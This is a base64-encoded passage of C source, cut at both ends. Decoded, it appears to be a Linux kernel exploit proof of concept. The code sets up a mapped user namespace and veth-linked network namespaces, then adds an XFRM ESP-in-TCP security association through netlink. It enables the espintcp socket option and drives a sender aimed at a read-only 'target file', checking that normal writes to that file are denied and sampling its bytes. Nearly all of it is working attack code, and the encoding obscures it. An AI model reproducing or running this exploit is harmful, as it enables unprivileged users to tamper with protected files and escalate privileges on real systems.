MgYW4gb2RkIG51bWJlciBvZiBuaWJibGVzXG4iKTsKCQlleGl0KDIpOwoJfQoJaWYgKGxlbiA9PSAwKSB7CgkJZnByaW50ZihzdGRlcnIsICJoZXggYnl0ZSBzdHJpbmcgaXMgZW1wdHlcbiIpOwoJCWV4aXQoMik7Cgl9CgoJKmxlbl9vdXQgPSBsZW47CglyZXR1cm4gYnVmOwp9CgpzdGF0aWMgdW5zaWduZWQgY2hhciByZWFkX2J5dGVfYXQoY29uc3QgY2hhciAqcGF0aCwgdWludDY0X3Qgb2ZmKQp7Cgl1bnNpZ25lZCBjaGFyIGI7Cglzc2l6ZV90IHJldDsKCWludCBmZDsKCglmZCA9IG9wZW4ocGF0aCwgT19SRE9OTFkgfCBPX0NMT0VYRUMpOwoJaWYgKGZkIDwgMCkKCQlkaWUoIm9wZW4gcmVhZCBieXRlIik7CglyZXQgPSBwcmVhZChmZCwgJmIsIDEsIChvZmZfdClvZmYpOwoJaWYgKHJldCA8IDApCgkJZGllKCJwcmVhZCBieXRlIik7CglpZiAocmV0ICE9IDEpIHsKCQlmcHJpbnRmKHN0ZGVyciwgInNob3J0IHByZWFkIGF0IG9mZnNldD0lbGx1XG4iLAoJCQkodW5zaWduZWQgbG9uZyBsb25nKW9mZik7CgkJZXhpdCgyKTsKCX0KCWNsb3NlKGZkKTsKCXJldHVybiBiOwp9CgpzdGF0aWMgdm9pZCBwcmludF9maWxlX3NhbXBsZShjb25zdCBjaGFyICpsYWJlbCwgdWludDY0X3Qgb2ZmLCBzaXplX3QgbGVuKQp7Cgl1bnNpZ25lZCBjaGFyIGJ1ZlszMl07Cglzc2l6ZV90IHJldDsKCWludCBmZDsKCglpZiAobGVuID4gc2l6ZW9mKGJ1ZikpCgkJbGVuID0gc2l6ZW9mKGJ1Zik7CglmZCA9IG9wZW4odGFyZ2V0X2ZpbGUsIE9fUkRPTkxZIHwgT19DTE9FWEVDKTsKCWlmIChmZCA8IDApCgkJZGllKCJvcGVuIHNhbXBsZSIpOwoJcmV0ID0gcHJlYWQoZmQsIGJ1ZiwgbGVuLCAob2ZmX3Qpb2ZmKTsKCWlmIChyZXQgPCAwKQoJCWRpZSgicHJlYWQgc2FtcGxlIik7CgljbG9zZShmZCk7CglpZiAoKHNpemVfdClyZXQgIT0gbGVuKSB7CgkJZnByaW50ZihzdGRlcnIsICJzaG9ydCBzYW1wbGUgYXQgb2Zmc2V0PSVsbHUgbGVuPSV6dSBnb3Q9JXpkXG4iLAoJCQkodW5zaWduZWQgbG9uZyBsb25nKW9mZiwgbGVuLCByZXQpOwoJCWV4aXQoMik7Cgl9CglwcmludF9oZXhfYnl0ZXMobGFiZWwsIGJ1ZiwgbGVuKTsKfQoKc3RhdGljIHVpbnQ2NF90IHVzZV9leGlzdGluZ190YXJnZXQoY29uc3QgY2hhciAqcGF0aCkKewoJc3RydWN0IHN0YXQgbHN0LCBzdDsKCglpZiAobHN0YXQocGF0aCwgJmxzdCkgPCAwKQoJCWRpZSgibHN0YXQgdGFyZ2V0Iik7CglpZiAoIVNfSVNSRUcobHN0LnN0X21vZGUpKSB7CgkJZnByaW50ZihzdGRlcnIsICJ0YXJnZXQgaXMgbm90IGEgcmVndWxhciBmaWxlXG4iKTsKCQlleGl0KDIpOwoJfQoJaWYgKHN0YXQocGF0aCwgJnN0KSA8IDApCgkJZGllKCJzdGF0IHRhcmdldCIpOwoJaWYgKCFTX0lTUkVHKHN0LnN0X21vZGUpKSB7CgkJZnByaW50ZihzdGRlcnIsICJ0YXJnZXQgaXMgbm90IGEgcmVndWxhciBmaWxlXG4iKTsKCQlleGl0KDIpOwoJfQoJaWYgKHN0LnN0X3NpemUgPCBGUkFHX0xFTikgewoJCWZwcmludGYoc3RkZXJyLCAidGFyZ2V0IGlzIHRvbyBzbWFsbDogc2l6ZT0lbGxkIG5lZWQ+PSVkXG4iLAoJCQkobG9uZyBsb25nKXN0LnN0X3NpemUsIEZSQUdfTEVOKTsKCQlleGl0KDIpOwoJfQoJaWYgKHNucHJpbnRmKHRhcmdldF9maWxlX2J1Ziwgc2l6ZW9mKHRhcmdldF9maWxlX2J1ZiksICIlcyIsIHBhdGgpID49CgkgICAgKGludClzaXplb2YodGFyZ2V0X2ZpbGVfYnVmKSkgewoJCWZwcmludGYoc3RkZXJyLCAidGFyZ2V0IHBhdGggaXMgdG9vIGxvbmdcbiIpOwoJCWV4aXQoMik7Cgl9CgoJdGFyZ2V0X2ZpbGUgPSB0YXJnZXRfZmlsZV9idWY7CglyZXR1cm4gKHVpbnQ2NF90KXN0LnN0X3NpemU7Cn0KCnN0YXRpYyB2b2lkIHZlcmlmeV93cml0ZV9kZW5pZWQoY29uc3QgY2hhciAqbGFiZWwpCnsKCWludCBmZDsKCgllcnJubyA9IDA7CglmZCA9IG9wZW4odGFyZ2V0X2ZpbGUsIE9fV1JPTkxZIHwgT19DTE9FWEVDKTsKCWlmIChmZCA+PSAwKSB7CgkJY2xvc2UoZmQpOwoJCXByaW50ZigibmFtZXNwYWNlX2dhdGVfZmFpbGVkOiAlcyB3cml0ZS1vcGVuIHVuZXhwZWN0ZWRseSBzdWNjZWVkZWRcbiIsCgkJICAgICAgIGxhYmVsKTsKCQlleGl0KDQpOwoJfQoKCXByaW50ZigiJXNfd3JpdGVfb3Blbl9kZW5pZWQ9MSBlcnJubz0lZCAoJXMpXG4iLAoJICAgICAgIGxhYmVsLCBlcnJubywgc3RyZXJyb3IoZXJybm8pKTsKfQoKc3RhdGljIGludCB3cml0ZV9hbGxfZmlsZV9zdGF0dXMoY29uc3QgY2hhciAqcGF0aCwgY29uc3QgY2hhciAqYnVmKQp7CglzaXplX3QgbGVuID0gc3RybGVuKGJ1Zik7CglpbnQgZmQsIHNhdmVkX2Vycm5vOwoKCWZkID0gb3BlbihwYXRoLCBPX1dST05MWSB8IE9fQ0xPRVhFQyk7CglpZiAoZmQgPCAwKQoJCXJldHVybiAtMTsKCWlmICh3cml0ZShmZCwgYnVmLCBsZW4pICE9IChzc2l6ZV90KWxlbikgewoJCXNhdmVkX2Vycm5vID0gZXJybm87CgkJY2xvc2UoZmQpOwoJCWVycm5vID0gc2F2ZWRfZXJybm87CgkJcmV0dXJuIC0xOwoJfQoJY2xvc2UoZmQpOwoJcmV0dXJuIDA7Cn0KCnN0YXRpYyB2b2lkIHN5bmNfd3JpdGVfYnl0ZShpbnQgZmQpCnsKCWNoYXIgYyA9ICdNJzsKCglpZiAod3JpdGUoZmQsICZjLCAxKSAhPSAxKQoJCWRpZSgic3luYyB3cml0ZSIpOwoJY2xvc2UoZmQpOwp9CgpzdGF0aWMgdm9pZCBzeW5jX3JlYWRfYnl0ZShpbnQgZmQpCnsKCWNoYXIgYzsKCglpZiAocmVhZChmZCwgJmMsIDEpICE9IDEpCgkJZGllKCJzeW5jIHJlYWQiKTsKCWNsb3NlKGZkKTsKfQoKc3RhdGljIHZvaWQgcGFyZW50X21hcF93cml0ZV9vcl9leGl0KHBpZF90IGNoaWxkLCBjb25zdCBjaGFyICpuYW1lLAoJCQkJICAgICBjb25zdCBjaGFyICpkYXRhKQp7CgljaGFyIHBhdGhbMTI4XTsKCglzbnByaW50ZihwYXRoLCBzaXplb2YocGF0aCksICIvcHJvYy8lbGQvJXMiLCAobG9uZyljaGlsZCwgbmFtZSk7CglpZiAod3JpdGVfYWxsX2ZpbGVfc3RhdHVzKHBhdGgsIGRhdGEpIDwgMCkgewoJCXByaW50ZigibmFtZXNwYWNlX2dhdGVfZmFpbGVkOiAlcyBlcnJubz0lZCAoJXMpXG4iLAoJCSAgICAgICBwYXRoLCBlcnJubywgc3RyZXJyb3IoZXJybm8pKTsKCQlraWxsKGNoaWxkLCBTSUdLSUxMKTsKCQl3YWl0cGlkKGNoaWxkLCBOVUxMLCAwKTsKCQlleGl0KDQpOwoJfQp9CgpzdGF0aWMgdm9pZCBlbnRlcl9tYXBwZWRfdXNlcm5zKHZvaWQpCnsKCXVpZF90IG91dGVyX3VpZCA9IGdldHVpZCgpOwoJZ2lkX3Qgb3V0ZXJfZ2lkID0gZ2V0Z2lkKCk7CglpbnQgcmVhZHlfcGlwZVsyXSwgbWFwcGVkX3BpcGVbMl0sIHN0YXR1czsKCWNoYXIgbWFwWzEyOF07CglwaWRfdCBjaGlsZDsKCglpZiAocGlwZShyZWFkeV9waXBlKSA8IDApCgkJZGllKCJwaXBlIHJlYWR5Iik7CglpZiAocGlwZShtYXBwZWRfcGlwZSkgPCAwKQoJCWRpZSgicGlwZSBtYXBwZWQiKTsKCgljaGlsZCA9IGZvcmsoKTsKCWlmIChjaGlsZCA8IDApCgkJZGllKCJmb3JrIHVzZXJucyBtYXBwZXIiKTsKCglpZiAoY2hpbGQgPiAwKSB7CgkJY2xvc2UocmVhZHlfcGlwZVsxXSk7CgkJY2xvc2UobWFwcGVkX3BpcGVbMF0pOwoKCQlzeW5jX3JlYWRfYnl0ZShyZWFkeV9waXBlWzBdKTsKCgkJc25wcmludGYobWFwLCBzaXplb2YobWFwKSwgIjAgJXUgMVxuIiwgb3V0ZXJfdWlkKTsKCQlwYXJlbnRfbWFwX3dyaXRlX29yX2V4aXQoY2hpbGQsICJ1aWRfbWFwIiwgbWFwKTsKCQlwYXJlbnRfbWFwX3dyaXRlX29yX2V4aXQoY2hpbGQsICJzZXRncm91cHMiLCAiZGVueVxuIik7CgkJc25wcmludGYobWFwLCBzaXplb2YobWFwKSwgIjAgJXUgMVxuIiwgb3V0ZXJfZ2lkKTsKCQlwYXJlbnRfbWFwX3dyaXRlX29yX2V4aXQoY2hpbGQsICJnaWRfbWFwIiwgbWFwKTsKCgkJc3luY193cml0ZV9ieXRlKG1hcHBlZF9waXBlWzFdKTsKCgkJaWYgKHdhaXRwaWQoY2hpbGQsICZzdGF0dXMsIDApIDwgMCkKCQkJZGllKCJ3YWl0IHVzZXJucyBjaGlsZCIpOwoJCWlmIChXSUZFWElURUQoc3RhdHVzKSkKCQkJZXhpdChXRVhJVFNUQVRVUyhzdGF0dXMpKTsKCQlpZiAoV0lGU0lHTkFMRUQoc3RhdHVzKSkgewoJCQlmcHJpbnRmKHN0ZGVyciwgInVzZXJucyBjaGlsZCBraWxsZWQgYnkgc2lnbmFsICVkXG4iLAoJCQkJV1RFUk1TSUcoc3RhdHVzKSk7CgkJCWV4aXQoMik7CgkJfQoJCWV4aXQoMik7Cgl9CgoJY2xvc2UocmVhZHlfcGlwZVswXSk7CgljbG9zZShtYXBwZWRfcGlwZVsxXSk7CgoJaWYgKHVuc2hhcmUoQ0xPTkVfTkVXVVNFUikgPCAwKQoJCWdhdGVfZmFpbCgidW5zaGFyZShDTE9ORV9ORVdVU0VSKSIpOwoKCXN5bmNfd3JpdGVfYnl0ZShyZWFkeV9waXBlWzFdKTsKCXN5bmNfcmVhZF9ieXRlKG1hcHBlZF9waXBlWzBdKTsKCglpZiAoc2V0cmVzZ2lkKDAsIDAsIDApIDwgMCkKCQlnYXRlX2ZhaWwoInNldHJlc2dpZCAwIGluIHVzZXJucyIpOwoJaWYgKHNldHJlc3VpZCgwLCAwLCAwKSA8IDApCgkJZ2F0ZV9mYWlsKCJzZXRyZXN1aWQgMCBpbiB1c2VybnMiKTsKCglwcmludGYoInVzZXJuc19zZXR1cDogb3V0ZXJfdWlkPSV1IG91dGVyX2dpZD0ldSBuc191aWQ9JWQgbnNfZ2lkPSVkXG4iLAoJICAgICAgIG91dGVyX3VpZCwgb3V0ZXJfZ2lkLCBnZXR1aWQoKSwgZ2V0Z2lkKCkpOwp9CgpzdGF0aWMgaW50IG5zYl9mZCA9IC0xOwpzdGF0aWMgcGlkX3QgbnNiX2hlbHBlcl9waWQgPSAtMTsKCnN0YXRpYyB2b2lkIGFkZF94ZnJtX2VzcGludGNwX3N0YXRlKHZvaWQpOwoKc3RhdGljIHZvaWQgc2V0dXBfdmV0aF90d29fbnModm9pZCkKewoJaW50IHN5bmNfcFsyXSwgYWNrX3BbMl0sIGRvbmVfcFsyXTsKCWNoYXIgYnVmWzEyOF07CglwaWRfdCBoZWxwZXI7CglpbnQgcmV0OwoKCXJldCA9IHN5c3RlbSgiaXAgbGluayBhZGQgdmV0aDAgdHlwZSB2ZXRoIHBlZXIgbmFtZSB2ZXRoMSIpOwoJaWYgKHJldCAhPSAwKQoJCWdhdGVfZmFpbCgiaXAgbGluayBhZGQgdmV0aCBwYWlyIik7CgoJcmV0ID0gc3lzdGVtKCJpcCBhZGRyIGFkZCAxMC4wLjAuMS8yNCBkZXYgdmV0aDAiKTsKCWlmIChyZXQgIT0gMCkKCQlnYXRlX2ZhaWwoImlwIGFkZHIgYWRkIHZldGgwIik7CgoJcmV0ID0gc3lzdGVtKCJpcCBsaW5rIHNldCB2ZXRoMCB1cCIpOwoJaWYgKHJldCAhPSAwKQoJCWdhdGVfZmFpbCgiaXAgbGluayBzZXQgdmV0aDAgdXAiKTsKCglpZiAocGlwZShzeW5jX3ApIDwgMCB8fCBwaXBlKGFja19wKSA8IDAgfHwgcGlwZShkb25lX3ApIDwgMCkKCQlkaWUoInBpcGUgdHdvX25zIik7CgoJaGVscGVyID0gZm9yaygpOwoJaWYgKGhlbHBlciA8IDApCgkJZGllKCJmb3JrIG5zYiBoZWxwZXIiKTsKCglpZiAoaGVscGVyID09IDApIHsKCQljbG9zZShzeW5jX3BbMF0pOwoJCWNsb3NlKGFja19wWzFdKTsKCQljbG9zZShkb25lX3BbMF0pOwoKCQlpZiAodW5zaGFyZShDTE9ORV9ORVdORVQpIDwgMCkKCQkJZ2F0ZV9mYWlsKCJ1bnNoYXJlKENMT05FX05FV05FVCkgbnNCIik7CgoJCXdyaXRlKHN5bmNfcFsxXSwgIlIiLCAxKTsKCQljbG9zZShzeW5jX3BbMV0pOwoKCQlyZWFkKGFja19wWzBdLCBidWYsIDEpOwoJCWNsb3NlKGFja19wWzBdKTsKCgkJcmV0ID0gc3lzdGVtKCJpcCBsaW5rIHNldCBsbyB1cCIpOwoJCWlmIChyZXQgIT0gMCkKCQkJZ2F0ZV9mYWlsKCJuc0I6IGlwIGxpbmsgc2V0IGxvIHVwIik7CgoJCXJldCA9IHN5c3RlbSgiaXAgYWRkciBhZGQgMTAuMC4wLjIvMjQgZGV2IHZldGgxIik7CgkJaWYgKHJldCAhPSAwKQoJCQlnYXRlX2ZhaWwoIm5zQjogaXAgYWRkciBhZGQgdmV0aDEiKTsKCgkJcmV0ID0gc3lzdGVtKCJpcCBsaW5rIHNldCB2ZXRoMSB1cCIpOwoJCWlmIChyZXQgIT0gMCkKCQkJZ2F0ZV9mYWlsKCJuc0I6IGlwIGxpbmsgc2V0IHZldGgxIHVwIik7CgoJCXJldCA9IHN5c3RlbSgiZXRodG9vbCAtSyB2ZXRoMSBncm8gb24iKTsKCQlpZiAocmV0ICE9IDApCgkJCWdhdGVfZmFpbCgibnNCOiBldGh0b29sIC1LIHZldGgxIGdybyBvbiIpOwoKCQlhZGRfeGZybV9lc3BpbnRjcF9zdGF0ZSgpOwoKCQl3cml0ZShkb25lX3BbMV0sICJEIiwgMSk7CgkJY2xvc2UoZG9uZV9wWzFdKTsKCgkJcGF1c2UoKTsKCQlfZXhpdCgwKTsKCX0KCgljbG9zZShzeW5jX3BbMV0pOwoJY2xvc2UoYWNrX3BbMF0pOwoJY2xvc2UoZG9uZV9wWzFdKTsKCglyZWFkKHN5bmNfcFswXSwgYnVmLCAxKTsKCWNsb3NlKHN5bmNfcFswXSk7CgoJc25wcmludGYoYnVmLCBzaXplb2YoYnVmKSwgIi9wcm9jLyVkL25zL25ldCIsIGhlbHBlcik7Cgluc2JfZmQgPSBvcGVuKGJ1ZiwgT19SRE9OTFkgfCBPX0NMT0VYRUMpOwoJaWYgKG5zYl9mZCA8IDApCgkJZGllKCJvcGVuIG5zQiBuZXRucyBmZCIpOwoKCXNucHJpbnRmKGJ1Ziwgc2l6ZW9mKGJ1ZiksICJpcCBsaW5rIHNldCB2ZXRoMSBuZXRucyAlZCIsIGhlbHBlcik7CglyZXQgPSBzeXN0ZW0oYnVmKTsKCWlmIChyZXQgIT0gMCkKCQlnYXRlX2ZhaWwoImlwIGxpbmsgc2V0IHZldGgxIG5ldG5zIik7CgoJd3JpdGUoYWNrX3BbMV0sICJSIiwgMSk7CgljbG9zZShhY2tfcFsxXSk7CgoJcmVhZChkb25lX3BbMF0sIGJ1ZiwgMSk7CgljbG9zZShkb25lX3BbMF0pOwoKCW5zYl9oZWxwZXJfcGlkID0gaGVscGVyOwoJcHJpbnRmKCJ2ZXRoX3R3b19uc19zZXR1cD0xIGdyb19lbmFibGVkX29uPXZldGgxIG5zYl9oZWxwZXI9JWRcbiIsIGhlbHBlcik7Cn0KCnN0YXRpYyB2b2lkIGFkZF9ubGF0dHIoc3RydWN0IG5sbXNnaGRyICpubGgsIHNpemVfdCBtYXhsZW4sCgkJICAgICAgIHVuc2lnbmVkIHNob3J0IHR5cGUsIGNvbnN0IHZvaWQgKmRhdGEsIHNpemVfdCBsZW4pCnsKCXNpemVfdCBvZmYgPSBOTE1TR19BTElHTihubGgtPm5sbXNnX2xlbik7CglzdHJ1Y3QgbmxhdHRyICpubGE7CgoJaWYgKG9mZiArIE5MQV9IRFJMRU4gKyBsZW4gPiBtYXhsZW4pIHsKCQlmcHJpbnRmKHN0ZGVyciwgIm5ldGxpbmsgbWVzc2FnZSB0b28gc21hbGxcbiIpOwoJCWV4aXQoMik7Cgl9CgoJbmxhID0gKHN0cnVjdCBubGF0dHIgKikoKGNoYXIgKilubGggKyBvZmYpOwoJbmxhLT5ubGFfdHlwZSA9IHR5cGU7CglubGEtPm5sYV9sZW4gPSBOTEFfSERSTEVOICsgbGVuOwoJbWVtY3B5KChjaGFyICopbmxhICsgTkxBX0hEUkxFTiwgZGF0YSwgbGVuKTsKCW5saC0+bmxtc2dfbGVuID0gb2ZmICsgTkxBX0FMSUdOKG5sYS0+bmxhX2xlbik7Cn0KCnN0YXRpYyBpbnQgbmxfYWNrX2Vycm5vKGNoYXIgKmJ1Ziwgc3NpemVfdCBsZW4pCnsKCXN0cnVjdCBubG1zZ2hkciAqbmxoOwoJc3RydWN0IG5sbXNnZXJyICplcnI7CgoJZm9yIChubGggPSAoc3RydWN0IG5sbXNnaGRyICopYnVmOyBOTE1TR19PSyhubGgsICh1bnNpZ25lZCBpbnQpbGVuKTsKCSAgICAgbmxoID0gTkxNU0dfTkVYVChubGgsIGxlbikpIHsKCQlpZiAobmxoLT5ubG1zZ190eXBlICE9IE5MTVNHX0VSUk9SKQoJCQljb250aW51ZTsKCQllcnIgPSAoc3RydWN0IG5sbXNnZXJyICopTkxNU0dfREFUQShubGgpOwoJCWlmIChlcnItPmVycm9yID09IDApCgkJCXJldHVybiAwOwoJCWVycm5vID0gLWVyci0+ZXJyb3I7CgkJcmV0dXJuIC0xOwoJfQoKCWVycm5vID0gRVBST1RPOwoJcmV0dXJuIC0xOwp9CgpzdGF0aWMgdm9pZCBhZGRfeGZybV9lc3BpbnRjcF9zdGF0ZSh2b2lkKQp7CgljaGFyIHJlcWJ1Zls0MDk2XSwgcmVzcFs0MDk2XTsKCWNoYXIgYWVhZGJ1ZltzaXplb2Yoc3RydWN0IHhmcm1fYWxnb19hZWFkKSArIHNpemVvZih4ZnJtX2FlYWRfa2V5KV07CglzdHJ1Y3Qgc29ja2FkZHJfbmwgc2EgPSB7CgkJLm5sX2ZhbWlseSA9IEFGX05FVExJTkssCgl9OwoJc3RydWN0IHhmcm1fdXNlcnNhX2luZm8gKnhzOwoJc3RydWN0IHhmcm1fYWxnb19hZWFkICphZWFkOwoJc3RydWN0IHhmcm1fZW5jYXBfdG1wbCBlbmNhcDsKCXN0cnVjdCBubG1zZ2hkciAqbmxoOwoJc3NpemVfdCByZXQ7CglpbnQgZmQ7CgoJbWVtc2V0KHJlcWJ1ZiwgMCwgc2l6ZW9mKHJlcWJ1ZikpOwoJbmxoID0gKHN0cnVjdCBubG1zZ2hkciAqKXJlcWJ1ZjsKCW5saC0+bmxtc2dfbGVuID0gTkxNU0dfTEVOR1RIKHNpemVvZigqeHMpKTsKCW5saC0+bmxtc2dfdHlwZSA9IFhGUk1fTVNHX05FV1NBOwoJbmxoLT5ubG1zZ19mbGFncyA9IE5MTV9GX1JFUVVFU1QgfCBOTE1fRl9BQ0sgfCBOTE1fRl9DUkVBVEUgfCBOTE1fRl9FWENMOwoJbmxoLT5ubG1zZ19zZXEgPSAxOwoKCXhzID0gKHN0cnVjdCB4ZnJtX3VzZXJzYV9pbmZvICopTkxNU0dfREFUQShubGgpOwoJaWYgKGluZXRfcHRvbihBRl9JTkVULCAiMTAuMC4wLjEiLCAmeHMtPnNhZGRyLmE0KSAhPSAxKQoJCWRpZSgiaW5ldF9wdG9uIHNhZGRyIik7CglpZiAoaW5ldF9wdG9uKEFGX0lORVQsICIxMC4wLjAuMiIsICZ4cy0+aWQuZGFkZHIuYTQpICE9IDEpCgkJZGllKCJpbmV0X3B0b24gZGFkZHIiKTsKCXhzLT5pZC5zcGkgPSBodG9ubCgweDEwMCk7Cgl4cy0+aWQucHJvdG8gPSBJUFBST1RPX0VTUDsKCXhzLT5mYW1pbHkgPSBBRl9JTkVUOwoJeHMtPm1vZGUgPSBYRlJNX01PREVfVFJBTlNQT1JUOwoJeHMtPnJlcWlkID0gMTsKCXhzLT5sZnQuc29mdF9ieXRlX2xpbWl0ID0gWEZSTV9JTkY7Cgl4cy0+bGZ0LmhhcmRfYnl0ZV9saW1pdCA9IFhGUk1fSU5GOwoJeHMtPmxmdC5zb2Z0X3BhY2tldF9saW1pdCA9IFhGUk1fSU5GOwoJeHMtPmxmdC5oYXJkX3BhY2tldF9saW1pdCA9IFhGUk1fSU5GOwoKCW1lbXNldChhZWFkYnVmLCAwLCBzaXplb2YoYWVhZGJ1ZikpOwoJYWVhZCA9IChzdHJ1Y3QgeGZybV9hbGdvX2FlYWQgKilhZWFkYnVmOwoJc25wcmludGYoYWVhZC0+YWxnX25hbWUsIHNpemVvZihhZWFkLT5hbGdfbmFtZSksICJyZmM0MTA2KGdjbShhZXMpKSIpOwoJYWVhZC0+YWxnX2tleV9sZW4gPSBzaXplb2YoeGZybV9hZWFkX2tleSkgKiA4OwoJYWVhZC0+YWxnX2ljdl9sZW4gPSAxMjg7CgltZW1jcHkoYWVhZC0+YWxnX2tleSwgeGZybV9hZWFkX2tleSwgc2l6ZW9mKHhmcm1fYWVhZF9rZXkpKTsKCWFkZF9ubGF0dHIobmxoLCBzaXplb2YocmVxYnVmKSwgWEZSTUFfQUxHX0FFQUQsIGFlYWRidWYsIHNpemVvZihhZWFkYnVmKSk7CgoJbWVtc2V0KCZlbmNhcCwgMCwgc2l6ZW9mKGVuY2FwKSk7CgllbmNhcC5lbmNhcF90eXBlID0gVENQX0VOQ0FQX0VTUElOVENQOwoJZW5jYXAuZW5jYXBfc3BvcnQgPSBodG9ucyhUQ1BfUE9SVCk7CgllbmNhcC5lbmNhcF9kcG9ydCA9IGh0b25zKFRDUF9QT1JUKTsKCWFkZF9ubGF0dHIobmxoLCBzaXplb2YocmVxYnVmKSwgWEZSTUFfRU5DQVAsICZlbmNhcCwgc2l6ZW9mKGVuY2FwKSk7CgoJZmQgPSBzb2NrZXQoQUZfTkVUTElOSywgU09DS19SQVcgfCBTT0NLX0NMT0VYRUMsIE5FVExJTktfWEZSTSk7CglpZiAoZmQgPCAwKQoJCWdhdGVfZmFpbCgic29ja2V0KE5FVExJTktfWEZSTSkiKTsKCWlmIChiaW5kKGZkLCAoc3RydWN0IHNvY2thZGRyICopJnNhLCBzaXplb2Yoc2EpKSA8IDApCgkJZ2F0ZV9mYWlsKCJiaW5kKE5FVExJTktfWEZSTSkiKTsKCgltZW1zZXQoJnNhLCAwLCBzaXplb2Yoc2EpKTsKCXNhLm5sX2ZhbWlseSA9IEFGX05FVExJTks7CglyZXQgPSBzZW5kdG8oZmQsIG5saCwgbmxoLT5ubG1zZ19sZW4sIDAsIChzdHJ1Y3Qgc29ja2FkZHIgKikmc2EsCgkJICAgICBzaXplb2Yoc2EpKTsKCWlmIChyZXQgPCAwKQoJCWdhdGVfZmFpbCgic2VuZHRvIFhGUk1fTVNHX05FV1NBIik7CglpZiAocmV0ICE9IChzc2l6ZV90KW5saC0+bmxtc2dfbGVuKSB7CgkJZXJybm8gPSBFSU87CgkJZ2F0ZV9mYWlsKCJzaG9ydCBzZW5kdG8gWEZSTV9NU0dfTkVXU0EiKTsKCX0KCglyZXQgPSByZWN2KGZkLCByZXNwLCBzaXplb2YocmVzcCksIDApOwoJaWYgKHJldCA8IDApCgkJZ2F0ZV9mYWlsKCJyZWN2IFhGUk0gYWNrIik7CglpZiAobmxfYWNrX2Vycm5vKHJlc3AsIHJldCkgPCAwKQoJCWdhdGVfZmFpbCgiWEZSTV9NU0dfTkVXU0EgYWNrIik7CgljbG9zZShmZCk7CgoJcHJpbnRmKCJ4ZnJtX2VzcGludGNwX3N0YXRlX2FkZD0xXG4iKTsKfQoKc3RhdGljIHZvaWQgc2V0dXBfdXNlcl9uZXRuc194ZnJtKHZvaWQpCnsKCWlmIChwcmN0bChQUl9TRVRfRFVNUEFCTEUsIDEsIDAsIDAsIDApIDwgMCkKCQlkaWUoInByY3RsIFBSX1NFVF9EVU1QQUJMRSIpOwoJZW50ZXJfbWFwcGVkX3VzZXJucygpOwoKCWlmICh1bnNoYXJlKENMT05FX05FV05FVCkgPCAwKQoJCWdhdGVfZmFpbCgidW5zaGFyZShDTE9ORV9ORVdORVQpIik7CgoJcHJpbnRmKCJuZXRuc19zZXR1cD0xXG4iKTsKCXNldHVwX3ZldGhfdHdvX25zKCk7CglwcmludGYoIm5hbWVzcGFjZV9zZXR1cF9jb21wbGV0ZT0xXG4iKTsKfQoKc3RhdGljIHZvaWQgd3JpdGVfcmVhZHkoaW50IGZkKQp7CgljaGFyIGMgPSAnUic7CgoJaWYgKHdyaXRlKGZkLCAmYywgMSkgIT0gMSkKCQlkaWUoInJlYWR5IHdyaXRlIik7CgljbG9zZShmZCk7Cn0KCnN0YXRpYyB2b2lkIHdhaXRfcmVhZHkoaW50IGZkKQp7CgljaGFyIGM7CgoJaWYgKHJlYWQoZmQsICZjLCAxKSAhPSAxKQoJCWRpZSgicmVhZHkgcmVhZCIpOwoJY2xvc2UoZmQpOwp9CgpzdGF0aWMgdm9pZCByZWNlaXZlcihpbnQgcmVhZHlfd3JpdGVfZmQpCnsKCXN0cnVjdCBzb2NrYWRkcl9pbiBhZGRyID0gewoJCS5zaW5fZmFtaWx5ID0gQUZfSU5FVCwKCQkuc2luX3BvcnQgPSBodG9ucyhUQ1BfUE9SVCksCgl9OwoJY2hhciB1bHBbXSA9ICJlc3BpbnRjcCI7CglpbnQgZmQsIGNmZCwgb25lID0gMTsKCglpbmV0X3B0b24oQUZfSU5FVCwgIjEwLjAuMC4yIiwgJmFkZHIuc2luX2FkZHIpOwoKCWZkID0gc29ja2V0KEFGX0lORVQsIFNPQ0tfU1RSRUFNIHwgU09DS19DTE9FWEVDLCAwKTsKCWlmIChmZCA8IDApCgkJZGllKCJyZWNlaXZlciBzb2NrZXQiKTsKCWlmIChzZXRzb2Nrb3B0KGZkLCBTT0xfU09DS0VULCBTT19SRVVTRUFERFIsICZvbmUsIHNpemVvZihvbmUpKSA8IDApCgkJZGllKCJyZWNlaXZlciByZXVzZWFkZHIiKTsKCWlmIChiaW5kKGZkLCAoc3RydWN0IHNvY2thZGRyICopJmFkZHIsIHNpemVvZihhZGRyKSkgPCAwKQoJCWRpZSgicmVjZWl2ZXIgYmluZCIpOwoJaWYgKGxpc3RlbihmZCwgMSkgPCAwKQoJCWRpZSgicmVjZWl2ZXIgbGlzdGVuIik7CgoJd3JpdGVfcmVhZHkocmVhZHlfd3JpdGVfZmQpOwoKCWNmZCA9IGFjY2VwdDQoZmQsIE5VTEwsIE5VTEwsIFNPQ0tfQ0xPRVhFQyk7CglpZiAoY2ZkIDwgMCkKCQlkaWUoInJlY2VpdmVyIGFjY2VwdCIpOwoKCXVzbGVlcChSRUNFSVZFUl9QUkVfVUxQX1VTKTsKCWlmIChzZXRzb2Nrb3B0KGNmZCwgSVBQUk9UT19UQ1AsIFRDUF9VTFAsIHVscCwgc2l6ZW9mKHVscCkpIDwgMCkKCQlkaWUoInJlY2VpdmVyIFRDUF9VTFAgZXNwaW50Y3AiKTsKCglwcmludGYoInJlY2VpdmVyX25zX3VpZD0lZCBldWlkPSVkIGVzcGludGNwX2VuYWJsZWRfYWZ0ZXJfcXVldWU9MVxuIiwKCSAgICAgICBnZXR1aWQoKSwgZ2V0ZXVpZCgpKTsKCXVzbGVlcChSRUNFSVZFUl9QT1NUX1VMUF9VUyk7CgljbG9zZShjZmQpOwoJY2xvc2UoZmQpOwoJX2V4aXQoMCk7Cn0KCnN0YXRpYyB2b2lkIHNlbmRlcihpbnQgcmVhZHlfcmVhZF9mZCkKewoJc3RydWN0IHNvY2thZGRyX2luIGRzdCA9IHsKCQkuc2luX2ZhbWlseSA9IEFGX0lORVQsCgkJLnNpbl9wb3J0ID0gaHRvbnMoVENQX1BPUlQpLAoJfTsKCXN0cnVjdCB7CgkJX19iZTE2IGxlbjsKCQl1bnNpZ25lZCBjaGFyIGVzcFsxNl07Cgl9IHByZWZpeDsKCWxvZmZfdCBvZmYsIHN0YXJ0X29mZjsKCWludCBmZCwgc29jaywgcFsyXSwgb25lID0gMTsKCXNzaXplX3QgcmV0LCBzZW50OwoKCXdhaXRfcmVhZHkocmVhZHlfcmVhZF9mZCk7CgoJaW5ldF9wdG9uKEFGX0lORVQsICIxMC4wLjAuMiIsICZkc3Quc2luX2FkZHIpOwoKCW1lbXNldCgmcHJlZml4LCAweGNjLCBzaXplb2YocHJlZml4K